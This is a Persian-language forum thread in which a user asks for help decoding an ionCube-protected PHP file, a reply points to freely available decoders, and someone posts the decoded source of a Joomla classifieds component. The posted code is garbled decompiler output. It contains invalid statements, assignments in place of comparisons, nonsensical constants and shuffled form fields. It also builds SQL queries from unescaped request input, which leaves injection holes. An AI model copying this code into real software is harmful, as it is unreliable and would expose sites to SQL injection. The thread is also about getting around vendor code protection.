با سلام
يه فايل php تو پيوست گذاشتم از دوستان كسي ميتونه اينو كه كد شده
و ديكد كنه
با تشكر
با سلام
يه فايل php تو پيوست گذاشتم از دوستان كسي ميتونه اينو كه كد شده
و ديكد كنه
با تشكر
ionCube و احتمالا ورژن 6.3 هست.
که دیکدر در نت فراوان.
ولی تصور نکنید بعد از دیکد 100% مفهموم و PHP کاملا خوانا دارید.
موفق باشید.
سرور مجازی با منابع اختصاصی هارد NVMe ایران و اروپا به صورت مدیریت شده
تماس: 02191301515 | قرارداد رسمی حقیقی و حقوقی با کاربران
تست کنید :
کد:<?php if (!( defined( '_JEXEC' ))) { exit( 'Restricted access' ); (bool)true; } jimport( 'joomla.application.component.controller' ); class NiazController extends JController { function __construct() { parent::( ); } function ReBackCredit() { global $my; $PID = JRequest::getvar( 'ix', 0, 'POST' ); $PID = intval( base64_decode( $PID ) ); $db = JFactory::getdbo( ); $query = 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID; $db->setQuery( $query ); $row = $db->loadObject( ); $total = 472; if (count( $row )) { $query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID; $db->setQuery( $query ); $db->Query( ); $query = 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID; $db->setQuery( $query ); $fldMoney = $db->loadResult( ); $query = 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' . $my->id; $query = self::cleansql( $query ); $db->setQuery( $query ); $total = ($fldMoney ? $db->loadResult( ) : 0); $fldMoney = Comma( $fldMoney ); } if (intval( $total )) { $query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $row->fldTafavot . ',fldTafavot=fldTafavot-' . $row->fldTafavot . ' WHERE fldUID=' . $my->id; $db->setQuery( $query ); $db->Query( ); $query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID; $db->setQuery( $query ); $db->Query( ); echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_COMPLETED' ); return null; } $query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID; $db->setQuery( $query ); $db->Query( ); echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_ERROR' ); } function WhereCluse($view) { global $option; global $my; global $sectionState; global $fldCountry; global $Align; global $RTL; global $app; global $niaz_config; global $DLANG; global $AU; $db = JFactory::getdbo( ); $limit = JRequest::getvar( 'limit', $app->getCfg( 'list_limit' ) ); $limitstart = JRequest::getvar( 'limitstart', 0 ); $catid = JRequest::getint( 'catid' ); $subcatid = JRequest::getint( 'subcatid' ); $CountryNo = (int)JRequest::getvar( 'CountryNo', 0 ); $StateNo = (int)JRequest::getvar( 'StateNo', 0 ); $Type = JRequest::getvar( 'Type', 0 ); $key = JRequest::getvar( 'key' ); $id = JRequest::getvar( 'id', 0 ); $layout = JRequest::getvar( 'layout', NULL ); $fldUID = JRequest::getvar( 'fldUID', 0 ); $key = urldecode( JRequest::getvar( 'key', '' ) ); $A = array( ); $where = ''; switch ($view) { case 'myads': { $A[] = 'fldOwner=' . $my->id; break; } default: { if (!empty( $key )) { $query = 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' . $key . '\' AND published = 1'; $db->setQuery( $query ); $Keys = $db->loadResultArray( ); if (!count( $Keys )) { $Keys[] = 0; } if (!isset( $_SESSION[$key] )) { $query = 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' . $key . '\''; $db->setQuery( $query ); $db->Query( ); $_SESSION[$key] = 1; } $query = 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' . implode( ',', $Keys ) . ') '; $db->setQuery( $query ); $KeyArray = $db->loadResultArray( ); if (count( $KeyArray )) { $A[] = 'fldID IN (' . implode( ',', $KeyArray ) . ')'; } } $A[] = 'published=1'; } } if ($catid) { $A[] = 'parent_id=' . $catid; } if ($subcatid) { $A[] = 'fldRelation=' . $subcatid; } $K = implode( ' AND ', $A ); if ($K) { $where = ' WHERE (' . $K . ')'; } $where = self::cleansql( $where ); return $where; } function LoadSQL($table, $where, $fields = '') { global $option; global $my; global $sectionState; global $fldCountry; global $Align; global $RTL; global $app; global $mainframe; global $AU; global $niaz_config; $db = JFactory::getdbo( ); $limit = JRequest::getint( 'limit', $niaz_config->fldNShow ); $view = JRequest::getvar( 'view', 'niaz' ); $limitstart = JRequest::getint( 'limitstart' ); $ordering = 'fldID DESC'; $catid = JRequest::getint( 'catid' ); $subcatid = JRequest::getint( 'subcatid' ); $table2 = $table; if (( $view = 'niaz' || $view = '' )) { $query = 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ? ' AND fldID = ' . $catid : ''); $db->setQuery( $query ); $CatArray = $db->loadResultArray( ); $CatArray[] = 0; $query = 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' . implode( ',', $CatArray ) . ') ' . ($subcatid ? ' AND fldID = ' . $subcatid : ''); $db->setQuery( $query ); $SubCatArray = $db->loadResultArray( ); $SubCatArray[] = 0; $where &= (strlen( $where ) ? ' AND fldRelation IN (' . implode( ',', $SubCatArray ) . ')' : 'WHERE fldRelation IN (' . implode( ',', $SubCatArray ) . ')'); } switch ($table) { case 'prod': { $ordering = 'fldStartTime DESC'; $orderingX = ''; switch ($view) { case 'myads': { $fields = '*'; break; } case 'pay': { $fields = '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMoney`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber`,`fldPName`,`fldImage`,`fldOwner`' . (strlen( $fields ) ? $fields : ''); break; } default: { $fields = '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldShowLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`,`fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA'; $orderingX = 'OA DESC,fldStar'; $ordering = ''; $orderingX = (strlen( $niaz_config->fldField55 ) ? str_replace( array( ':', '*' ), array( ' ', ',' ), $niaz_config->fldField55 ) : $orderingX); } } $ordering = '' . $orderingX . ' ' . $ordering; if ($view = 'myads') { $ordering = 'fldID DESC'; } else { $where &= (intval( $niaz_config->fldField30 ) ? '' : ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 '); } break; } case 'rss': { $table2 = 'prod'; } } $query = 'SELECT COUNT(*) FROM #__niaz_' . $table . ' ' . $where; $db->setQuery( $query ); $total = $db->loadResult( ); $limitx = ' LIMIT ' . $limitstart . ', ' . $limit; jimport( 'joomla.html.pagination' ); $pageNav = new JPagination( $total, $limitstart, $limit ); $query = 'SELECT ' . $fields . ' FROM #__niaz_' . $table . ' ' . $where . ' ' . ( ' ORDER BY ' . $ordering ) . $limitx; $db->setQuery( $query ); $rows = $db->loadObjectList( ); return array( $rows, $pageNav ); } function LoadMySQL($table, $where) { global $option; global $my; global $sectionState; global $fldCountry; global $Align; global $RTL; global $app; global $mainframe; global $AU; global $niaz_config; $db = JFactory::getdbo( ); $query = 'SELECT * FROM #__niaz_' . $table . ' WHERE ' . $where . ' '; $db->setQuery( $query ); $rows = $db->loadObjectList( ); return $rows; } function LoadMiniAds($rows) { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; $C = array( ); echo ' <div width="100%" class="border"> '; $j = 480; $i = 480; $n = count( $rows ); while ($i < $n) { $row = $rows[$i]; if (( ( ( intval( $niaz_config->fldField48 ) && intval( $niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) { $ExpDate[] = $row->fldID; } $_SESSION['CID'][] = $row->fldID; $C[] = $row->fldID; echo ' <div class="banner"> <a href="'; echo JRoute::_( 'index.php?option=' . $option . '&view=detail&id=' . $row->fldID . ':' . $row->fldPName ); echo '" class="title"> '; if ('' < $row->fldImage) { $fldImage = explode( ',', $row->fldImage ); $A = rand( 1, count( $fldImage ) ); $fldImage = $fldImage[$A - 1]; echo ' <img src="components/'; echo $option; echo '/files/prod/'; echo '' . $row->fldDate . '/' . $row->fldID; echo '/tmb_'; echo $fldImage; echo '" title="'; echo $rows[$i]->fldPName; echo '" alt="'; echo $rows[$i]->fldPName; echo '" class="tniypic"> '; } else { echo ' <img src="components/'; echo $option; echo '/images/tmb_pic.png" alt="'; echo $rows[$i]->fldPName; echo '" title="'; echo $rows[$i]->fldPName; echo '" class="tniypic"> '; } echo ' <img border="0" src="'; echo 'components/' . $option . '/images/star_' . $row->fldStar . '.gif'; echo '" /> <br/>'; echo '<s'; echo 'pan>'; echo $row->fldPName; echo '</span></a> </div> '; ++$i; } echo ' </div> '; viewCounts( $C ); if (isset( $ExpDate )) { self::updateexpdate( $ExpDate ); } } function UpdateExpDate($ids) { $db = JFactory::getdbo( ); $ExpDate = implode( ',', $ids ); $query = 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' . $ExpDate . ')'; $db->setQuery( $query ); $db->Query( ); } function LoadConfig() { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; global $Cat; global $SubCat; global $SubCatAll; $db = JFactory::getdbo( ); if (count( $niaz_config )) { return true; } echo '<div class="message">' . JText::_( 'NIAZ_ERROR_CONFIG' ) . '</div>'; return false; } function showMail($aid) { global $option; global $my; global $sectionState; global $fldCountry; global $option; global $mainframe; global $app; global $niaz_config; global $mainframe; $db = JFactory::getdbo( ); $query = 'SELECT * FROM #__niaz_prod ' . ( ' WHERE fldID = ' . $aid ); $db->setQuery( $query ); $rowsa = $db->loadObject( ); $email = $rowsa->fldEMAil; $uid = $rowsa->fldOwner; $query = 'SELECT * FROM #__users ' . ( ' WHERE id = ' . $uid ); $db->setQuery( $query ); $rows = $db->loadObject( ); if (count( $rowsa )) { if ($rowsa->fldEMAil) { self::showmails( $rows, $rowsa ); return null; } echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_NONE_EMAIL' ) . '</a></p>'; return null; } echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_BACK' ) . '</a></p>'; } function showMails($rows, $rowsa) { global $option; global $my; global $sectionState; global $fldCountry; global $option; global $mainframe; global $app; global $niaz_config; global $mainframe; $db = JFactory::getdbo( ); if ($niaz_config->fldField20 = 2) { $A['css'] = 'slider.css'; $A['js'] = 'slider.js'; foreach ($A as $k => $v) { NiazController::loaduserstyle( $k, $v ); } } if (intval( $niaz_config->fldField19 )) { $i2 = 578; } $i2 = 578; echo ' '; echo '<s'; echo 'cript language="javascript"> function checkMail(x){ var filter = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/; if (filter.test(x)) return 0; else return 1; } //======================================================================= function validAdsMessage(){ var form = document.EForm; '; if ($niaz_config->fldField20) { echo ' if(document.getElementById(\'sec_key\').value==""){ alert("'; echo JText::_( 'ALERT_SEC_CODE' ); echo '"); return false; } else '; } echo ' if(form.Name.value==\'\') { alert(\''; echo JText::_( 'NIAZ_YOUR_NAME' ); echo '\'); form.Name.focus(); return; } else if((form.Email.value==\'\')||(checkMail(form.Email.value))) { alert(\''; echo JText::_( 'NIAZ_EMAIL' ); echo '\'); form.Email.focus(); return; } else if(form.Subject.value==\'\') { alert(\''; echo JText::_( 'NIAZ_SUBJECT' ); echo '\'); form.Subject.focus(); return; } else if(form.Message.value==\'\') { alert(\''; echo JText::_( 'NIAZ_MESSAGE' ); echo '\'); form.Message.focus(); return; } else form.submit(); } //======================================================================= </script> <div class="adminform"> <form action="'; echo $_SERVER['REQUEST_URI']; echo '" method="post" name="EForm"> <h3>'; echo JText::_( 'NIAZ_ADS_CONTACT' ); if (isset( $rows )) { echo ' : <a href="'; echo JRoute::_( 'index.php?option=com_userprofile&view=userprofile&id=' . $rows->id . ':' . $rows->username . '&Itemid=116' ); echo '">'; echo $rows->name; echo '</a>'; } echo '</h3> <div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">'; echo JText::_( 'NIAZ_REQUIERD' ); echo '</div> <div class="row2">'; echo JText::_( 'NIAZ_RECIVER' ); echo ' : '; echo (isset( $rows ) ? $rows->name : $rowsa->fldPName); echo '</div> <div class="row"><label>'; echo JText::_( 'NIAZ_YOUR_NAME' ); echo '</label><input size="35" name="Name" ></div> <div class="row"><label>'; echo JText::_( 'NIAZ_COUNTRY' ); echo '</label><input size="35" name="Country" ></div> <div class="row"><label>'; echo JText::_( 'NIAZ_EDU' ); echo '</label><input size="35" name="Edu" ></div> <div class="row"><label>'; echo JText::_( 'NIAZ_JOB' ); echo '</label><input size="35" name="Job" ></div> <div class="row"><label>'; echo JText::_( 'NIAZ_EMAIL' ); echo '</label><input size="35" name="Email" dir="ltr"></div> <div class="row"><label>'; echo JText::_( 'NIAZ_SUBJECT' ); echo '</label><input size="35" name="Subject" value="'; echo JText::_( 'NIAZ_DEFUALT_SUBJECT' ); echo ' '; echo $rowsa->fldPName; echo '"></div> <div class="row"><label>'; echo JText::_( 'NIAZ_MESSAGE' ); echo '</label><textarea name="Message" class="NewTable" rows="10"></textarea></div> '; if (intval( $niaz_config->fldField20 )) { echo ' <div class="row"> '; if (intval( $niaz_config->fldField20 ) = 1) { echo ' <label>'; echo JText::_( 'NIAZ_IMAGE_SECURITY' ); echo '</label> <input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" /> <img src="'; echo JURI::root( ); echo 'components/'; echo $option; echo '/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" /> <img src="'; echo JURI::root( ); echo 'index.php?option='; echo $option; echo '&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" /> '; } else { $captcha = time( ); $_SESSION['captcha'] = $captcha; echo ' <div id="ads-slider" class="dragdealer rounded-cornered w90"> <div class="red-bar handle" id="roleowerADS"><< '; echo JText::_( 'NIAZ_SEC_ALERT' ); echo ' </div> </div> <input type="hidden" name="sec_key" id="sec_key" /> '; echo '<s'; echo 'cript language="javascript"> var MyAlaki = \''; echo $captcha; echo '\'; var OkAlert = \''; echo JText::_( 'NIAZ_SEC_OK' ); echo '\'; </script> '; } echo ' </div> '; } echo ' <input type="hidden" name="To" value="'; echo $rowsa->fldEMAil; echo '" /> <input type="hidden" name="option" value="'; echo $option; echo '" > <input type="hidden" name="task" value="sendMail" > <input type="hidden" name="mag" value="'; echo JText::_( 'NIAZ_A_ADS' ); echo ' '; echo $rowsa->fldPName; echo '" > <input type="button" value="'; echo JText::_( 'NIAZ_SEND_MAIL' ); echo '" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;"> </form> </div> '; echo '<s'; echo 'cript language="javascript"> '; if ($niaz_config->fldField20 = 2) { echo ' new Dragdealer(\'ads-slider\'); '; } echo '</script> '; } function sendMail() { global $option; global $my; global $sectionState; global $fldCountry; global $option; global $mainframe; global $app; global $niaz_config; global $mainframe; global $mosconfig_live_site; $db = JFactory::getdbo( ); $MailFrom = $app->getCfg( 'mailfrom' ); $FromName = $app->getCfg( 'fromname' ); $SiteName = $app->getCfg( 'sitename' ); if (intval( $niaz_config->fldField20 )) { $sec_key = JRequest::getvar( 'sec_key' ); if ($sec_key != $_SESSION['captcha']) { $this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' ); $this->setRedirect( $_SERVER['HTTP_REFERER'] ); return false; } } $Email = $Subject = $Message = ; $Job = JRequest::getvar( 'Message', '', 'POST' ); $Edu = JRequest::getvar( 'Subject', '', 'POST' ); $Country = JRequest::getvar( 'Email', '', 'POST' ); $Name = JRequest::getvar( 'Job', '', 'POST' ); $mag = JRequest::getvar( 'Edu', '', 'POST' ); JRequest::getvar( 'To', '', 'POST' ); $To = JRequest::getvar( 'Country', '', 'POST' ); JRequest::getvar( 'si', 'X', 'POST' ); $si = JRequest::getvar( 'Name', '', 'POST' ); JRequest::getvar( 'siu', 'Y', 'POST' ); $siu = JRequest::getvar( 'mag', '', 'POST' ); if ($mag) { $mag = JText::_( 'ADS_TO_ADMIN' ) . ' ' . $mag; } else { $mag = JText::_( 'ADS_TO_USER' ) . ( ' ' . $SiteName ); } $body = $Name . ( ' <' . $Email . '> ' ) . JText::_( 'NIAZ_JOB' ) . ' : ' . $Job . ' ' . JText::_( 'NIAZ_EDU' ) . ' : ' . $Edu . ( ' ' . $mag . ' ' ) . $Message . ' ' . ' . ' . JText::_( 'NIAZ_SENT' ) . ( ' ' . $mosconfig_live_site . ' ' ) . JText::_( 'NIAZ_BY_OUR_SITE' ) . ( ' ' . $SiteName . ' ' ) . JText::_( 'NIAZ_TO_ADD' ) . ( ' <' . $FromName . '>' . $MailFrom ); $M = JUTility::sendmail( $MailFrom, $FromName, $To, $Subject, $body, 0, NULL, NULL, NULL ); if (is_object( $M )) { $M = 577; } if ($M) { JText::_( 'NIAZ_SENT_SUCCESS' ); $msg = ; } else { $msg = ''; } $this->setMessage( $msg ); $this->setRedirect( $_SERVER['REQUEST_URI'] ); return true; } function CheckAccess() { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; global $option; global $RTL; if ($my->id = 0) { $uri = JFactory::geturi( ); $return = $uri->toString( ); $url = 'index.php?option=com_users&view=login'; $url &= '&return=' . base64_encode( $return ); $app = JFactory::getapplication( ); $app->redirect( JRoute::_( $url ), JText::_( 'You must login first' ) ); } } function saveprod($task = 'save') { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; global $option; global $RTL; $db = JFactory::getdbo( ); if ($niaz_config->fldUType = 0) { NiazController::checkaccess( ); } if (!intval( $niaz_config->fldField42 )) { $niaz_config->fldField42 = 10; } if (!intval( $niaz_config->fldField56 )) { $niaz_config->fldField56 = 2; } $ShortDescX = JRequest::getvar( 'ShortDesc', array( ), 'POST' ); $ShortDesc = array( ); foreach ($ShortDescX as $k => $v) { if (( $k < $niaz_config->fldField42 && strlen( trim( $v ) ) )) { $vx = explode( ' ', $v ); if (intval( $niaz_config->fldField56 ) < count( $vx )) { $v = array_slice( $vx, 0, $niaz_config->fldField56 ); $v = implode( ' ', $v ); } $ShortDesc[] = $v; continue; } } $ShortDesc = array_unique( $ShortDesc ); JRequest::setvar( 'fldShort', implode( ',', $ShortDesc ) ); JRequest::setvar( 'fldEXPMail', 0 ); if (count( $ShortDesc )) { foreach ($ShortDesc as $v) { $query = 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' . $v . '\');'; $db->setQuery( $query ); $db->Query( ); } } $id = JRequest::getint( 'fldID', 0, 'POST' ); $PName = JRequest::getvar( 'fldPName', '', 'POST' ); $X = self::isuniquename( $PName, $id ); if ($X) { $this->setMessage( JText::_( 'ALERT_DUPLICATE_NAME' ), 'error' ); $this->setRedirect( $_SERVER['HTTP_REFERER'] ); return false; } if (intval( $niaz_config->fldField20 )) { $sec_key = JRequest::getvar( 'sec_key' ); if ($sec_key != $_SESSION['captcha']) { $this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' ); $this->setRedirect( $_SERVER['HTTP_REFERER'] ); return false; } } require_once( JPATH_SITE . DS . 'administrator' . DS . 'components' . DS . $option . DS . 'tables' . DS . 'prod.php' ); $FType = array( ); if (strlen( $niaz_config->fldField45 )) { $U = explode( '*', $niaz_config->fldField45 ); $X = array( ); foreach ($U as $k => $v) { $D = explode( ':', $v ); $X[] = $D[0]; $FType['fldFilmsize'][$D[0]] = $D[1]; } $FType['fldFilm'] = $X; } if (strlen( $niaz_config->fldField44 )) { $U = explode( '*', $niaz_config->fldField44 ); $X = array( ); foreach ($U as $k => $v) { $D = explode( ':', $v ); $X[] = $D[0]; $FType['fldImagesize'][$D[0]] = $D[1]; } $FType['fldImage'] = $X; } $File = array( ); $B = array( ); $msg = ''; $table = 'prod'; $fldStat = JRequest::getvar( 'fldStat' ); $row = new NiazTableProd( $db ); $row->load( $id ); if (5 < $fldStat) { $_POST['fldStat'] = 0; } $fldDate = ($id ? $row->fldDate : date( 'Y-m-d' )); $_POST['fldDate'] = $fldDate; $_POST['fldOwner'] = $my->id; if (intval( $niaz_config->fldField32 ) = 0) { $_POST['fldDesc'] = strip_tags( $_POST['fldDesc'] ); if ($niaz_config->fldField43) { $fldDesc = explode( ' ', $_POST['fldDesc'] ); $fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 ); $_POST['fldDesc'] = implode( ' ', $fldDesc ); } } $FT = array( ); $query = 'SHOW FULL COLUMNS FROM #__niaz_prod'; $db->setQuery( $query ); $Cols = $db->loadObjectList( ); $i = 2099; foreach ($Cols as $h) { if (substr( $h->Field, 0, 8 ) = 'fldExtra') { if ($h->Type = 'text') { $FT[] = $h->Field; ++$i; continue; } continue; } } foreach ($FT as $v) { if (intval( $niaz_config->fldField32 ) = 0) { JRequest::setvar( $v, strip_tags( $_POST[$v] ), 'POST' ); if ($niaz_config->fldField43) { $fldDesc = explode( ' ', $_POST[$v] ); $fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 ); JRequest::setvar( $v, implode( ' ', $fldDesc ), 'POST' ); continue; } continue; } } $DELPIC = ($my->id ? JRequest::getvar( 'DELPIC', array( ) ) : array( )); $maindestfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ); $destfolder = $maindestfolder . DS . ( '' . $id ); $Err = 2099; foreach ($_FILES as $k => $v) { foreach ($v as $k1 => $v1) { if ($k1 = 'name') { foreach ($v1 as $k2 => $v2) { if (strlen( $v2 )) { $v2 = strtolower( $v2 ); $s = explode( '.', $v2 ); $se = $s[count( $s ) - 1]; if (( !in_array( $se, $FType[$k] ) || ( $FType[$k . 'size'][$se] && $FType[$k . 'size'][$se] < intval( $v['size'][$k2] \ 1024 ) ) )) { $Err = 2100; } $File[$k][] = $v2; continue; } } continue; } } } if (( ( ( $niaz_config->fldField29 && strlen( $niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen( $row->fldImage ) )) { $Err = 2101; } if ($Err) { $this->setMessage( ($Err = 1 ? JText::_( 'ERROR_UPLOAD_FILE' ) : JText::_( 'ERROR_EMPTY_FILE' )), 'error' ); $this->setRedirect( $_SERVER['HTTP_REFERER'] ); return false; } if (count( $DELPIC )) { foreach ($DELPIC as $k => $v) { if (strlen( $row->$k )) { $A = explode( ',', $row->$k ); $B = $DELPIC[$k]; $C = array( ); $i = 2099; while ($i < count( $B )) { if (file_exists( '' . $destfolder . '/' . $B[$i] )) { JFile::delete( '' . $destfolder . '/' . $B[$i] ); } if (file_exists( '' . $destfolder . '/tmb_' . $B[$i] )) { JFile::delete( '' . $destfolder . '/tmb_' . $B[$i] ); } if (in_array( $B[$i], $A )) { $U = array_keys( $A, $B[$i] ); $A[$U[0]] = NULL; } ++$i; } arsort( $A ); $i = 2099; $n = count( $B ); while ($i < $n) { array_pop( $A ); ++$i; } $_POST[$k] = (count( $A ) ? implode( ',', $A ) : ''); $row->$k = (count( $A ) ? implode( ',', $A ) : ''); continue; } } $msg &= JText::sprintf( 'MYPN_FILE_DELETE', count( $B ) ); } $A = array( ); $NFile = array( ); foreach ($File as $k => $v) { $A[$k] = $v; } if (count( $A )) { $C2 = 2099; foreach ($A as $k => $v) { $B1 = self::savefile( $fldDate, $k, $table, $id ); $B1 = explode( ',', $B1 ); $NFile[$k] = $B1; $C2 += count( $B1 ); $_POST[$k] = ($id ? (strlen( $row->$k ) ? $row->$k . ',' : '') . implode( ',', $B1 ) : implode( ',', $B1 )); if (!$id) { $FArray[$k] = implode( ',', $B1 ); continue; } } $msg &= JText::sprintf( 'MYPN_FILE_ADDED', $C2 ); } if (!isset( $_POST['fldImage'] )) { $_POST['fldImage'] = $row->fldImage; } if (!isset( $_POST['fldFilm'] )) { $_POST['fldFilm'] = $row->fldFilm; } $_POST['fldEdit'] = ($id ? $row->fldEdit & 1 : 0); self::calculateform( $_POST ); $_POST['fldPay'] = 0; if (( $niaz_config->fldField25 = 3 && !$_POST['fldPay'] )) { $_POST['published'] = 1; } if (( ( $my->id && intval( $niaz_config->fldField2 ) ) && !intval( $_POST['fldMoney'] ) )) { $query = 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldMoney=0 AND fldID!=' . $_POST['fldID']; $db->setQuery( $query ); $total = $db->loadResult( ); if (intval( $niaz_config->fldField2 ) <= $total) { $this->setMessage( JText::sprintf( 'ALERT_OUT_REGISTER_ADS', intval( $niaz_config->fldField2 ), $total ) ); $this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) ); return true; } } foreach ($_POST as $k => $v) { $_POST[$k] = self::myquestfarsi( $v ); } if (( !$row->published && $row->fldPay = 1 )) { $fldTafavot = $row->fldMoney; $_POST['fldTafavot'] = 0; $_POST['fldPay'] = 0; $_POST['fldPayDate'] = NULL; $_POST['fldPayMethod'] = ''; $_POST['fldOrderNumber'] = ''; $query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldOwner . ');'; $db->setQuery( $query ); if (!$db->Query( )) { $query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner . ';'; $db->setQuery( $query ); if ($db->Query( )) { } $query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' . $fldTafavot . ') WHERE fldUID = ' . $row->fldOwner . ' AND fldTafavot >=' . $fldTafavot . ';'; $db->setQuery( $query ); if ($db->Query( )) { } } $query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner . ';'; $db->setQuery( $query ); if ($db->Query( )) { } $query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\';'; $db->setQuery( $query ); $fldFactor = intval( $db->loadResult( ) ); $fldDesc = JText::sprintf( 'REVERSE_CREDIT_1', $_POST['fldPName'] ); $query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');'; $db->setQuery( $query ); if ($db->Query( )) { } } else { if (( ( !$row->published && !$row->fldPay ) && $row->fldTafavot )) { self::reverseusecredit( $row, $db ); } } $_POST['fldTafavot'] = 0; if ($row->published) { $query = 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ';'; $db->setQuery( $query ); $db->Query( ); } if (!$row->bind( $_POST )) { echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script> '; exit( ); } if (!$row->check( )) { echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script> '; exit( ); } $row->fldShort = implode( ',', $ShortDesc ); $row->fldStartTime = NULL; if (!$row->store( true )) { echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script> '; exit( ); } $query = 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' . implode( '\',\'', $ShortDesc ) . '\');'; $db->setQuery( $query ); $krows = $db->loadResultArray( ); foreach ($krows as $v) { $query = 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' . $v . ',' . $row->fldID . ');'; $db->setQuery( $query ); $db->Query( ); } $query = 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' . implode( ',', $krows ) . ( ') AND `fldPID`=' . $row->fldID . ';' ); $db->setQuery( $query ); $db->Query( ); if ($id = 0) { $destfolder = $maindestfolder . DS . $row->fldID; JFolder::create( $destfolder ); foreach ($NFile as $k => $v) { foreach ($v as $k1 => $v1) { if ($k = 'fldImage') { JFile::move( $maindestfolder . DS . '0' . DS . 'tmb_' . $v1, $destfolder . DS . 'tmb_' . $v1 ); } JFile::move( $maindestfolder . DS . '0' . DS . $v1, $destfolder . DS . $v1 ); } } } switch ($task) { case 'save': { if (!$id) { $this->setMessage( JText::sprintf( 'ALERT_REGISTERED_ADS', @count( $NFile['fldImage'] ) & @count( $NFile['fldFilm'] ) ) ); } else { $this->setMessage( JText::_( 'NIAZ_UPDATED' ) ); } if ($my->id) { $this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) ); } else { $this->setRedirect( $_SERVER['HTTP_REFERER'] ); } break; } case 'pay': { $_SESSION['cid'] = array( $row->fldID ); $_SESSION['step'] = 1; $_SESSION['token'] = 1; $this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=pay' ) ); } } clickINSERT( ); if ($row->published) { SendingMail( 3, array( 'fldPName' => $row->fldPName, 'fldEMAil' => $row->fldEMAil, 'fldID' => $row->fldID, 'fldStartTime' => $row->fldStartTime ) ); } else { if (( $niaz_config->fldField25 = 2 && $row->fldMoney = 0 )) { SendingMail( 4, $row ); } else { SendingMail( ($id ? 1 : 0) ); } } return true; } function payprod($task = 'pay') { self::saveprod( $task ); } function CalculateForm($data) { global $niaz_config; $db = JFactory::getdbo( ); $js_id = array( ); $cal = 1060; $str = $data['fldShort']; $mystring = explode( ' ', $str ); foreach ($mystring as $k => $v) { if (10 < strlen( $v )) { 